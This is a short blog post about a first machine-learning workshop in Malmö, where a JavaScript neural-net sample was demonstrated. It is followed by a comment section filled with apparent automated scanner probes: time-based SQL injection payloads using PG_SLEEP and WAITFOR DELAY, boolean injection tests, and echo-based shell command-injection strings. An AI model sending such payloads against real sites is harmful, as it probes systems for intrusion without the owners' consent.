The neuron WS

The 16:th of Jun we had our first workshop at Foo Cafe in Malmö.​

The goal of the workshop is to cover topics that is of interest to the participants and anyone can sign up to present a topic at one of our workshops. The topic may range from technologies like Neural nets, SVM's, Linear regression and Genetic programming to applications like Image recognition, Speech, Advanced analytics, and other similar topics.​

The aim is that there should be a short 10 to 15 minutes introduction followed by some samples that everyone can run from their own computers and play around with during the majority of the workshop. We then finish of by discussing what practical applications this specific sample can be applied for and what findings we have made during the workshop.​

This first event was for all developers that are more into code then math and want to learn more about ML.​ Johan has created a small JavaScript sample of a neural net that I will explain in more detail and then we can play around with the code, to see what this small network of neurons can do for us. Here you can find the samples we are going to play with.​

http://www.​johanbroddfelt.​se/​neural_net_in_javascript-33

http://www.​johanbroddfelt.​se/​rock_scissor_paper_neural_net-55

http://www.​johanbroddfelt.​se/​noughts_and_crosses_neural_net_version-40

So how did it go?​

We did not get to play too much with the code this time, Johan had a litle bit too much to show and there were many questions along the way. So we will try to make the samples smaller in the future and perhaps we will revisit one or two of these javascript samples another time.​

- Johan Broddfelt
Neural net, JavaScript

Linear Regression >>

Comment

Name
Mail (Not public)
Send mail uppdates on new comments

Comments

69 posts found

|echo vufgnk$() wshkvcnz^xyu||a #' |echo vufgnk$() wshkvcnz^xyu||a #|" |echo vufgnk$() wshkvcnz^xyu||a #

2026-06-11 03:52:55 - zFPWdwPk

&echo drgfga$() aqvexdnz^xyu||a #' &echo drgfga$() aqvexdnz^xyu||a #|" &echo drgfga$() aqvexdnz^xyu||a #

2026-06-11 03:52:53 - zFPWdwPk

echo zwxnay$() nhnwejnz^xyu||a #' &echo zwxnay$() nhnwejnz^xyu||a #|" &echo zwxnay$() nhnwejnz^xyu||a #

2026-06-11 03:52:52 - zFPWdwPk

|echo cvejar$() ajzlasnz^xyu||a #' |echo cvejar$() ajzlasnz^xyu||a #|" |echo cvejar$() ajzlasnz^xyu||a #

2026-06-11 03:47:30 - zFPWdwPk

&echo eshnwa$() hxhshgnz^xyu||a #' &echo eshnwa$() hxhshgnz^xyu||a #|" &echo eshnwa$() hxhshgnz^xyu||a #

2026-06-11 03:47:30 - zFPWdwPk

echo pguttz$() ilabionz^xyu||a #' &echo pguttz$() ilabionz^xyu||a #|" &echo pguttz$() ilabionz^xyu||a #

2026-06-11 03:47:28 - zFPWdwPk

FYoMxJpq')) OR 187=​(SELECT 187 FROM PG_SLEEP(12))--

2026-06-11 03:47:28 - zFPWdwPk

ysJY59hC') OR 640=​(SELECT 640 FROM PG_SLEEP(12))--

2026-06-11 03:47:26 - zFPWdwPk

5DWthBry' OR 606=​(SELECT 606 FROM PG_SLEEP(12))--

2026-06-11 03:47:24 - zFPWdwPk

-1)) OR 506=​(SELECT 506 FROM PG_SLEEP(12))--

2026-06-11 03:47:21 - zFPWdwPk

-5) OR 214=​(SELECT 214 FROM PG_SLEEP(12))--

2026-06-11 03:47:16 - zFPWdwPk

-5 OR 486=​(SELECT 486 FROM PG_SLEEP(12))--

2026-06-11 03:47:14 - zFPWdwPk

mdqrJqYV'; waitfor delay '0:0:12' --

2026-06-11 03:47:09 - zFPWdwPk

1 waitfor delay '0:0:12' --

2026-06-11 03:47:06 - zFPWdwPk

-1); waitfor delay '0:0:12' --

2026-06-11 03:47:03 - zFPWdwPk

-1; waitfor delay '0:0:12' --

2026-06-11 03:46:59 - zFPWdwPk

YwAp8RF9')) OR 161=​(SELECT 161 FROM PG_SLEEP(12))--

2026-06-11 03:46:50 - zFPWdwPk

71JV9Ulz') OR 39=​(SELECT 39 FROM PG_SLEEP(12))--

2026-06-11 03:46:47 - zFPWdwPk

fjiJHUf5' OR 931=​(SELECT 931 FROM PG_SLEEP(12))--

2026-06-11 03:46:43 - zFPWdwPk

-1" OR 3+153-153-1=​0+0+0+1 --

2026-06-11 03:46:41 - zFPWdwPk

-1)) OR 176=​(SELECT 176 FROM PG_SLEEP(12))--

2026-06-11 03:46:39 - zFPWdwPk

-1" OR 2+153-153-1=​0+0+0+1 --

2026-06-11 03:46:38 - zFPWdwPk

-5) OR 312=​(SELECT 312 FROM PG_SLEEP(12))--

2026-06-11 03:46:37 - zFPWdwPk

-5 OR 948=​(SELECT 948 FROM PG_SLEEP(12))--

2026-06-11 03:46:34 - zFPWdwPk

hmMmoaJp'; waitfor delay '0:0:12' --

2026-06-11 03:46:33 - zFPWdwPk

1 waitfor delay '0:0:12' --

2026-06-11 03:46:32 - zFPWdwPk

-1); waitfor delay '0:0:12' --

2026-06-11 03:46:31 - zFPWdwPk

-1; waitfor delay '0:0:12' --

2026-06-11 03:46:30 - zFPWdwPk

-1" OR 3*2>(0+5+194-194) --

2026-06-11 03:46:18 - zFPWdwPk

-1" OR 3*2<(0+5+194-194) --

2026-06-11 03:46:16 - zFPWdwPk

-1" OR 3+194-194-1=​0+0+0+1 --

2026-06-11 03:46:12 - zFPWdwPk

-1" OR 2+194-194-1=​0+0+0+1 --

2026-06-11 03:46:11 - zFPWdwPk

-1' OR 3*2>(0+5+484-484) or '6631DQID'=​'

2026-06-11 03:46:08 - zFPWdwPk

-1" OR 2+153-153-1=​0+0+0+1 --

2026-06-11 03:46:08 - zFPWdwPk

-1' OR 3*2<(0+5+484-484) or '6631DQID'='

2026-06-11 03:46:07 - zFPWdwPk

-1' OR 3+484-484-1=​0+0+0+1 or '6631DQID'=​'

2026-06-11 03:46:06 - zFPWdwPk

-1' OR 2+484-484-1=​0+0+0+1 or '6631DQID'=​'

2026-06-11 03:46:05 - zFPWdwPk

-1' OR 3+491-491-1=​0+0+0+1 or 'C99aXKfU'=​'

2026-06-11 03:46:05 - zFPWdwPk

-1' OR 3*2>(0+5+965-965) --

2026-06-11 03:46:04 - zFPWdwPk

-1' OR 3*2<(0+5+965-965) --

2026-06-11 03:46:03 - zFPWdwPk

-1' OR 2+491-491-1=​0+0+0+1 or 'C99aXKfU'=​'

2026-06-11 03:46:03 - zFPWdwPk

-1' OR 3+965-965-1=​0+0+0+1 --

2026-06-11 03:46:01 - zFPWdwPk

-1' OR 2+965-965-1=​0+0+0+1 --

2026-06-11 03:46:00 - zFPWdwPk

-1' OR 3+582-582-1=​0+0+0+1 --

2026-06-11 03:46:00 - zFPWdwPk

-1 OR 3*2>(0+5+197-197)

2026-06-11 03:46:00 - zFPWdwPk

-1 OR 3*2<(0+5+197-197)

2026-06-11 03:45:58 - zFPWdwPk

-1' OR 2+582-582-1=​0+0+0+1 --

2026-06-11 03:45:58 - zFPWdwPk

-1 OR 3+197-197-1=​0+0+0+1

2026-06-11 03:45:57 - zFPWdwPk

-1 OR 3+675-675-1=​0+0+0+1

2026-06-11 03:45:56 - zFPWdwPk

-1 OR 2+197-197-1=​0+0+0+1

2026-06-11 03:45:55 - zFPWdwPk

-1 OR 2+675-675-1=​0+0+0+1

2026-06-11 03:45:55 - zFPWdwPk

-1 OR 3*2>(0+5+119-119) --

2026-06-11 03:45:54 - zFPWdwPk

-1 OR 3*2<(0+5+119-119) --

2026-06-11 03:45:54 - zFPWdwPk

-1 OR 3+119-119-1=​0+0+0+1 --

2026-06-11 03:45:53 - zFPWdwPk

-1 OR 3+688-688-1=​0+0+0+1 --

2026-06-11 03:45:52 - zFPWdwPk

-1 OR 2+119-119-1=​0+0+0+1 --

2026-06-11 03:45:51 - zFPWdwPk

-1 OR 2+688-688-1=​0+0+0+1 --

2026-06-11 03:45:51 - zFPWdwPk